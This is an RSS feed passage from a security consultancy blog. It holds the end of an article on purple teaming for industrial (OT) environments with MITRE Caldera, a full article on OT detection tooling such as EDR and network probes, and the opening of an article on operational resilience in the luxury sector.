<h3 aria-level="4"><i><span data-contrast="none">Ensuring Reproducibility with Caldera</span></i><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:80,&quot;335559739&quot;:40}"> </span></h3>
<p><span data-contrast="auto">To ensure repeatability and consistency across Purple Team exercises, automation becomes key.  </span><a href="https://www.mitre.org/resources/caldera-ot"><b><span data-contrast="none">Caldera</span></b></a><span data-contrast="auto">, an open-source Breach &amp; Attack Simulation (BAS) framework developed by MITRE, is a powerful tool for this.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">As a former pentester, I’ve always disliked the term “automated pentest”—but BAS tools are the closest thing we have to repeatable, safe attack execution.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h3 aria-level="5"><em>Why use Caldera instead of performing tests manually? </em></h3>
<p><span data-contrast="auto">Caldera enables you to:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Prepare and validate a controlled list of tests on a controlled list of assets</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Ensure only authorized actions are executed</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Guarantee reproducibility across environments</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Replay the exact same actions to measure improvements after configuration changes</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Some OT-specific plugins already exist in the </span><b><span data-contrast="auto">Caldera-OT</span></b><span data-contrast="auto"> module, supporting Modbus, Profinet, DNP3, and others.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Recently, Wavestone released two additional OT plugins:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Siemens S7 protocol support</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">OPC-UA communications actions</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h3 aria-level="5"><em>Caldera in a nutshell </em></h3>
<p><span data-contrast="auto">Caldera usage relies on:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Abilities</span></b><span data-contrast="auto">: atomic technical actions (e.g., reading coils, writing tags, scanning a PLC)</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Adversaries</span></b><span data-contrast="auto">: collections of abilities that form a scenario</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Operations</span></b><span data-contrast="auto">: real-time execution of those adversaries against a target</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><b><span data-contrast="auto">Fact sources</span></b><span data-contrast="auto">: parameters provided for an operation; you can launch the same operations against different environments by just changing the fact source.</span><span data-ccp-props="{&quot;335559685&quot;:720}"> </span></p>
<p><span data-contrast="auto">The following video (French with English subtitles) will walk you through a demonstration of Caldera on our small ICS demo setup:</span> </p>
<div align="center"><iframe loading="lazy" title="YouTube video player" src="//www.youtube.com/embed/wq8BMagjhwE" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<div align="center"> </div>
<h2>3. Debriefing</h2>
<p><span data-contrast="auto">The debrief is where most of the value is extracted. The following types of </span><i><span data-contrast="auto">Key Performance Indicators</span></i><span data-contrast="auto"> might be used:</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Detection Coverage</span></b><span data-contrast="auto"> – what percentage of executed stimuli were detected?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Alert Quality</span></b><span data-contrast="auto"> – were alerts actionable, precise, and intelligible?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Reaction Time</span></b><span data-contrast="auto"> – how long before an alert is raised and acknowledged?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Playbook Efficiency</span></b><span data-contrast="auto"> – were the right actions taken in the expected time frame?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">These might phase results in:</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Updated detection rules</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Improved SIEM/SOC playbooks</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Better monitoring architecture</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Training material for analysts and engineers</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h1 aria-level="1"><span data-contrast="none">Start Testing Now!</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:360,&quot;335559739&quot;:80}"> </span></h1>
<p><span data-contrast="auto">Purple Team testing brings value immediately, no matter what your current maturity level is:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">It validates your tools in real-world conditions</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">It trains your SOC and OT teams</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">It reveals blind spots early in the program</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">It provides quantitative KPIs to drive detection improvements</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">And yes, </span><b><span data-contrast="auto">it is possible, in most production environments, under the following conditions</span></b><span data-contrast="auto">:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Strictly controlled scope</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Vendor-approved actions</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">No disruptive functions executed</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Involvement of operations and safety teams</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Continuous monitoring of system behavior during testing</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">In short: </span><b><span data-contrast="auto">start small, stay safe, and iterate.</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><b><span data-contrast="auto">Do not wait for your OT security program to be “finished” before you start testing its effectiveness!</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/">Purple Teaming for OT:  How to switch from a compliance to a performance mindset?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cybersecurity tooling strategy for an effective industrial detection</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 13:32:52 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28068</guid>

					<description><![CDATA[<p>Detection within industrial environment In a previous article: Cybersecurity monitoring for OT, Current situation &#38; perspectives we have seen that OT, while overall less impacted than IT, is not exempt from cyberthreats &#38; not immune to cyberattacks. But, due to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/">Cybersecurity tooling strategy for an effective industrial detection</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1>Detection within industrial environment</h1>
<p><span class="TextRun SCXW3808787 BCX0" lang="EN-US" xml:lang="EN-US" data-contrast="auto"><span class="NormalTextRun CommentStart SCXW3808787 BCX0">In </span><span class="NormalTextRun SCXW3808787 BCX0">a previous</span><span class="NormalTextRun SCXW3808787 BCX0"> article: </span></span><a class="Hyperlink SCXW3808787 BCX0" href="https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/" target="_blank" rel="noreferrer noopener"><span class="TextRun Underlined SCXW3808787 BCX0" lang="EN-US" xml:lang="EN-US" data-contrast="none"><span class="NormalTextRun SCXW3808787 BCX0" data-ccp-charstyle="Hyperlink">Cybersecurity monitoring for OT, Current situation &amp; perspectives</span></span></a><span class="TextRun SCXW3808787 BCX0" lang="EN-US" xml:lang="EN-US" data-contrast="auto"><span class="NormalTextRun SCXW3808787 BCX0"> w</span><span class="NormalTextRun SCXW3808787 BCX0">e have seen that </span><span class="NormalTextRun SCXW3808787 BCX0">OT</span><span class="NormalTextRun SCXW3808787 BCX0">, while overall less impacted than IT, is not exempt from cyberthreats &amp; not immune to cyberattacks</span><span class="NormalTextRun SCXW3808787 BCX0">. B</span><span class="NormalTextRun SCXW3808787 BCX0">ut</span><span class="NormalTextRun SCXW3808787 BCX0">,</span><span class="NormalTextRun SCXW3808787 BCX0"> d</span><span class="NormalTextRun SCXW3808787 BCX0">ue to the difficulty in updating legacy Industrial Control Systems (ICS), cybersecurity measures are often added after deployment. </span><span class="NormalTextRun SCXW3808787 BCX0">Continuous monitoring is seen as a practical substitute for built-in, cyber-by-design </span><span class="NormalTextRun SCXW3808787 BCX0">protection.</span></span><span class="EOP SCXW3808787 BCX0" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p>When it comes to monitoring tooling, we observed that 100% of our clients have detection tools deployed on the IT side of industrial sites. But only one-third extend monitoring down to the lower layers of the industrial environment:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-28077 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1.png" alt="" width="733" height="526" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1.png 1051w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1-266x191.png 266w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1-768x551.png 768w" sizes="auto, (max-width: 733px) 100vw, 733px" /></p>
<p>There is a large variety of detection sources allowing monitoring across different levels of the Purdue model:</p>
<ul>
<li>Firewalls (including industrial firewalls)</li>
<li>Endpoint protection (AV, application whitelisting, EPP, EDR etc.)</li>
<li>Authentication and access logs (e.g., Active Directory, local authentication)</li>
<li>Remote access logs (e.g., VPN, jump servers, bastion)</li>
<li>Deceptive technologies (e.g., honeypots or decoys)</li>
<li>Network detection and monitoring probes (listening industrial networks)</li>
<li>Logs from media sanitization or data transfer stations (e.g., USB kiosks)</li>
<li>Industrial logs (from SCADA, HMI, PLC … when available)</li>
</ul>
<p>Traditionally, these logs are collected and analyzed by SIEM and/or SOAR solutions, with or without specific OT detection patterns, and should enable the SOC team to detect, investigate, and respond to security events.</p>
<p>Building a consistent detection strategy for OT environments does not require collecting data from every possible source. In fact, a few well-chosen, <strong>properly configured, and actively monitored sources can provide strong visibility and early detection capabilities</strong>. The key is to focus on data sources that are both relevant to the specific OT architecture and feasible to monitor without disrupting operations. Prioritizing quality and operational relevance over quantity ensures a more effective and sustainable cybersecurity posture.</p>
<h1>How to get the most of detection sources?</h1>
<h2>Start with logs you already have</h2>
<p>A pragmatic and cost-effective way to approach OT detection is to <strong>start by leveraging the logs and detection patterns already available</strong> within the industrial environment, particularly those already exploited for your IT environments. For example, <strong>firewall logs</strong>, especially those monitoring IT/OT boundaries, can provide valuable insights into network traffic patterns, segmentation breaches, or suspicious remote access attempts. Similarly, Active Directory (AD) logs can reveal abnormal user behavior, failed authentication attempts, or privilege escalations — all of which are critical signals in both IT and OT contexts. Leveraging these existing sources allows organizations to build initial detection capabilities without heavy investment, while laying a solid foundation for more advanced monitoring in the future.</p>
<p>Rather than starting with deploying complex OT-specific detection tools, organizations should <strong>build initial detection capabilities using what is already deployed, configured, and understood</strong>. This not only reduces costs but accelerates implementation across industrial sites. The goal is to <strong>ensure a consistent baseline of visibility</strong> across critical applications, systems, and infrastructure before diving deeper.</p>
<p>By starting with what you already have, and focusing on <strong>coverage, not complexity</strong>, organizations can address OT detection with speed, relevance, and operational realism, while setting the stage for more advanced capabilities down the line.</p>
<p>We will now focus on the two detection tools most widely adopted and discussed in industrial environments today: <strong>EDR solutions</strong> and <strong>OT network detection probes</strong>.<br />In the following sections, we will examine how to leverage these solutions effectively and outline our recommendations.</p>
<h3>EDR</h3>
<p><strong>Endpoint Detection &amp; Response </strong>solutions provide continuous monitoring and analysis of endpoint activities to detect, investigate, and respond to cyber threats in real time. EDR collects detailed data such as process execution, file changes, network connections, and user behavior. By leveraging behavioral analytics and threat intelligence, EDR tools can identify suspicious activities like malware infections, lateral movement, or privilege escalation.</p>
<p>This detection tool, widely used and popularized in IT environments, is now being adopted by most of our clients for deployment within their industrial environments, driven by the evolution of deployment models, the broader coverage of operating systems, and the improved performance of detection models in increasingly complex environments.</p>
<p>However, this does not mean that 100% of OT devices are compatible with EDR solutions. In fact, <strong>EDR compatibility varies significantly across different industrial systems</strong> due to their diversity and operational constraints. EDR deployment is generally straightforward on higher levels of the Purdue model, such as Layer 3 and Layer 3.5, where systems resemble traditional IT environments like servers and workstations. At Layer 2, implementation requires careful evaluation with vendors support and testing, as devices and protocols become more specialized and resource constrained. Finally, at the lowest levels, controllers, PLCs, and field devices, EDR is generally not viable due to limited processing capacity, proprietary operating systems, and real-time performance requirements.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-28079 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2.png" alt="" width="1252" height="489" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2.png 1252w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2-437x171.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2-768x300.png 768w" sizes="auto, (max-width: 1252px) 100vw, 1252px" /></p>
<p>For environments that support it, extending EDR coverage allows to:</p>
<ul>
<li>Address low maturity: Start with tools that are easier to implement and require less maturity.</li>
<li>Broad coverage: Focus on quickly covering a wide range of systems, sites, and critical applications.</li>
<li>Leverage IT tools: Use IT-based solutions like EDR for effective detection without heavy infrastructure requirements.</li>
</ul>
<p>To conclude, <strong>deploying EDR Agents on OT Servers and Workstations</strong> is becoming increasingly relevant, and a <strong>quick win for OT detection</strong>, according to our clients’ feedback.</p>
<h3>OT Probes</h3>
<p>A <a href="https://www.riskinsight-wavestone.com/en/2024/10/detection-probes-for-ot-the-keys-to-a-successful-deployment/">detection probe</a> is a piece of equipment, virtual or physical, connected to the information system in order to map and monitor it. It consists of sensors distributed across the network to collect data. And typically, a central console to aggregate, correlate and analyze this data.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24238 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737.png" alt="" width="1309" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737.png 1309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-437x83.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-71x13.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-768x146.png 768w" sizes="auto, (max-width: 1309px) 100vw, 1309px" /></p>
<p>Probes for industrial environments, which we will refer to simply as OT probes here, are characterized by their passive, non-invasive listening on the network, and their understanding of industrial protocols and behavior. All their probe solutions work on the same principle: network traffic is collected using flow duplication (SPAN, ERSPAN …) or physical duplicator like taps, etc. Packets are inspected in real time to provide several types of data: flow inventory and mapping, asset and vulnerability management, and finally anomaly and incident detection. OT probes promises wide detection capabilities and variety of possible cases of these data. The features and types of users involved (operational and business team, cybersecurity team, etc.) is what makes OT probes so popular. </p>
<p>However, our clients often face <strong>significant challenges when it comes to deploying</strong> these probes and effectively leveraging them for detection at scale.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-28081 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650.png" alt="" width="1276" height="482" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650.png 1276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650-437x165.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650-768x290.png 768w" sizes="auto, (max-width: 1276px) 100vw, 1276px" /></p>
<p>Here are a few common pain points when deploying OT probes:</p>
<ul>
<li><strong>Industrial site network capabilities and resources</strong>: Deploying OT probes often presents significant challenges due to the limitations of industrial network infrastructure. Network taps and SPAN ports on switches, commonly used for traffic monitoring, are not always manageable or available in OT environments, which limits options for passive traffic capture. Additionally, the costs associated with installing dedicated network taps can be prohibitive, especially across distributed and remote industrial sites. Moreover, deploying and maintaining probes requires skilled resources on-site.</li>
<li>OT probes collect and correlate information through network traffic capture. To be effective, their deployment requires carefully selecting listening points based on the intended targets. Listening points need to be tailored to each site architecture, often limited by local team knowledge and lack of documentation. Moreover, because industrial environments vary between different sites within the same organization, it is very difficult to establish a one-size-fits-all blueprint. In some architectures, achieving comprehensive asset coverage may require deploying dozens of collection points. As a result, selecting and configuring listening points is a repetitive, iterative process that must be adapted for each location to ensure optimal visibility and detection capabilities.</li>
</ul>
<p>More than deploying, operating these probes also comes with challenges and requires a <strong>significant workload</strong>. They tend to generate a high number of false positives, which means teams must create tailored detection rules and playbooks to filter and respond effectively. On average, we estimate that one <strong>full-time SOC analyst</strong> is required to manage the alerts generated by<strong> 50 probes</strong>.</p>
<p>In the end, OT probes may be popular, but <strong>deployment and tuning costs and resources limit their full utilization</strong>. Our recommendation is to prioritize deploying OT probes for critical sites or within key network segments that demand advanced industrial and network monitoring capabilities. Deployment should also be aligned with the organization’s capacity to <strong>manage the associated tuning and operational workload</strong>. This approach helps maximize <strong>return on investment</strong> while ensuring effective detection where it matters most for our clients.</p>
<h3>Consider other solutions?</h3>
<p>Regarding detection for industrial perimeter, while this article focuses on key detection sources like EDR and OT network probes, it is important to acknowledge that other solutions such as deceptive technologies (e.g., honeypots or decoys) <strong>can also play a valuable role</strong> and be relevant in specific scenarios or environment according to your industrial sites architecture or <strong>feared compromission scenarios</strong>.</p>
<h1>Conclusion</h1>
<p>To conclude, here are the key recommendations to build an effective detection tooling strategy to monitor industrial environments       :</p>
<ol>
<li><strong>Leverage existing tools for immediate impact:</strong></li>
</ol>
<p>Begin by maximizing the value of <strong>detection sources already available</strong> in your industrial environment: firewall logs, active directory, remote access logs&#8230; and <strong>EDR</strong>, that can be quickly implemented on <strong>OT servers and workstations</strong>, offering high visibility with minimal effort. Adapting <strong>proven IT detection logic</strong> to OT use cases enables organizations to rapidly establish a baseline level of visibility without the need for heavy investments or complex integrations. This pragmatic approach ensures faster deployment and broader coverage of your OT assets.</p>
<ol start="2">
<li><strong>Deploy advanced solutions where </strong><strong>you can manage the workload</strong></li>
</ol>
<p>When extending your detection capabilities, prioritize the deployment of advanced tools like OT network probes where they provide the most value. For <strong>network probes</strong>, focus on critical sites or segments, and carefully select <strong>listening points</strong> to balance visibility, cost, and operational overhead. This targeted deployment approach ensures resources are used efficiently and strategically.</p>
<ol start="3">
<li><strong>Prioritize quality and relevance over quantity</strong></li>
</ol>
<p>Building an effective OT detection strategy does not require monitoring every possible data source. Instead, focus on sources that are both relevant to your environment and technically feasible to collect without disrupting operations. This approach allows reducing log storage and management costs and enable the creation of more relevant, high quality detection rules.</p>
<p>Do not hesitate to reach out to discuss how you can <strong>build and improve your detection strategy</strong> to <strong>monitor your industrial assets</strong>!</p>
<p>In our next article, we will look at how to evaluate detection in industrial environments using <strong>purple team exercises</strong>, a practical way to assess and improve your detection capabilities.</p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/">Cybersecurity tooling strategy for an effective industrial detection</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Operational resilience in the luxury sector</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/10/operational-resilience-in-the-luxury-sector/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/10/operational-resilience-in-the-luxury-sector/#respond</comments>
		
		<dc:creator><![CDATA[Alexandre Bianchi]]></dc:creator>
		<pubDate>Wed, 08 Oct 2025 08:23:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[luxury sector]]></category>
		<category><![CDATA[Operational Resilience]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27904</guid>

					<description><![CDATA[<p>Overview and recommendations         The luxury market continues to grow globally and is expected to reach €2.5 trillion by 2030[1]. The health of this sector is therefore having an increasingly significant impact on the economy. This is especially true...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/operational-resilience-in-the-luxury-sector/">Operational resilience in the luxury sector</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 style="text-align: center;"><strong>Overview and recommendations</strong></h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">      The luxury market continues to grow globally and is expected to reach €2.5 trillion by 2030<a href="#_ftn1" name="_ftnref1">[1]</a>. The health of this sector is therefore having an increasingly significant impact on the economy. This is especially true for France, where the sector is well represented in the CAC 40<a href="#_ftn2" name="_ftnref2">[2]</a>. Thus, in this machine made of leather and silk, a single grain of sand can cost tens of millions of euros and have a lasting impact on the image of these companies. Yet, the risk factors are numerous.</p>
<p style="text-align: justify;">Like all sectors, luxury is impacted by geopolitical instability and climate change:<br />On one hand, due to the high internationalization of its value chain (in 2023, French luxury companies exported goods worth €50.6 billion<a href="#_ftn3" name="_ftnref3">[3]</a>); on the other hand, because of its high dependence on high-quality natural resources, particularly leather, textiles, and minerals.</p>
<p style="text-align: justify;">In recent years, luxury companies have significantly accelerated the digitalization of their business processes, from manufacturing to sales. Their critical functions increasingly rely on assets exposed to IT incidents, whether caused by cyberattacks or not. Notably, the growing use of AI and IoT is a strong differentiator from a business perspective, but it also increases exposure to technological risks that are still partially identified and mitigated due to their novelty.</p>
<p style="text-align: justify;">As a result, the sector faces a key challenge: how to ensure its sustainability in the context of growing threats? In response, a fundamental concept is gaining traction among major luxury Houses: operational resilience. What is the state of the art in the luxury sector regarding operational resilience? What mechanisms are being deployed by luxury brands to ensure the resilience of their critical activities?</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><strong>Operational Resilience Applied to Luxury</strong></h3>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;">Armed forces were among first to adopt the concept of operational resilience, defining it as:</p>
<p style="text-align: justify;">“The ability to face the consequences of a traumatic crisis and bounce back, acting effectively despite a degraded environment and the human, organizational, and technical damages they [the military] may have suffered.”<a href="#_ftn4" name="_ftnref4">[4]</a></p>
<p style="text-align: justify;">While this definition has a strong military tone, it nonetheless conveys a goal that any organization can pursue: the ability to withstand major disruptions and recover. Today, operational resilience has begun to permeate all sectors, from energy to healthcare, including luxury. This trend has been notably driven by the rise of regulations and standards dedicated to operational resilience, especially in the financial sector (DORA, Solvency II, PCI DSS…).</p>
<p style="text-align: justify;">At Wavestone, we consider operational resilience to be structured around seven key pillars, inspired by best practices, notably the ISO 22301<a href="#_ftn5" name="_ftnref5">[5]</a> standard, as well as European regulations. The luxury sector is well-suited to building these pillars, provided its specificities are considered.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">          Pillar 1: Critical activities and assets knowledge</h5>
<p style="text-align: justify;">This involves identifying and improving knowledge of what needs to become resilient among all business processes and assets of the organization. Two approaches exist:</p>
<ul style="text-align: justify;">
<li>An exhaustive approach, based on a Business Impact Assessment (BIA) across all organizational processes, providing a global view of activities and identifying critical processes and their supporting assets (IT infrastructure, applications, workshops…). However, this approach is time-consuming and does not add significant value to implementing an efficient resilience strategy.</li>
<li>A pragmatic approach, based on a limited impact analysis concerning organization’s critical processes, identified beforehand by top management. This faster and higher-value approach allows early focus on analyzing processes recognized as vital by the business, then tracing back to applications and infrastructures that support them.</li>
</ul>
<p style="text-align: justify;">This mapping is a crucial starting point to focus efforts on what truly matters for the organization. In the luxury sector, particular attention should be paid to the following asset categories: human resources with rare expertise, raw materials, manufacturing tools, and assets related to logistics and payment.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><strong>       </strong>Pillar 2: Risks Management</h5>
<p style="text-align: justify;">The goal is to tailor operational resilience measures to the entity’s risk profile, focusing efforts on preventing the most impactful and likely risk scenarios.</p>
<p style="text-align: justify;">In the luxury sector, it is useful to consider all risks that could affect the entity’s operations, especially those related to geopolitical instability, climate change, and IT/OT, which could impact the supply of rare raw materials, production, and distribution.</p>
<p style="text-align: justify;"><strong> </strong></p>
<h5 style="text-align: justify;"><strong>       </strong>Pillar 3: Implementation and Continuous Improvement of Continuity Solutions</h5>
<p style="text-align: justify;">The target is to implement relevant resilience measures, notably through business continuity plans that address identified risks and focus on critical activities.</p>
<p style="text-align: justify;">In the luxury sector, it is useful to define these measures with business teams in a pragmatic and essential way. The idea is for resilience measures to integrate seamlessly into business processes, improving their quality while avoiding being perceived as an additional constraint.</p>
<p style="text-align: justify;">Moreover, luxury professions are often artisanal, with people being the sole holders of a clear vision of their processes (in other words, their craft). The resilience of their work largely depends on them. An interesting approach would be to reverse the usual method: instead of formalizing a continuity procedure and then testing it, conduct a workshop/test with business teams to formalize a procedure based on the best practices they would naturally implement.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">       Pillar 4: Third-party risk management</h5>
<p style="text-align: justify;">The objective is to have sufficient knowledge of the third parties involved in the entity’s critical activities and to ensure they do not pose an obstacle to their resilience. In the luxury sector, the nature of third parties presents specific characteristics that must be considered. On one hand, they are often artisans or very small businesses (VSBs) that have not worked on their own resilience. On the other hand, some third parties are the only ones able to deliver the level of quality sought by the luxury House, which may place the latter in a position of dependency. A dedicated reflection is therefore needed to co-develop resilience solutions with these third parties, notably through crisis management exercises.</p>
<p style="text-align: justify;"> </p>
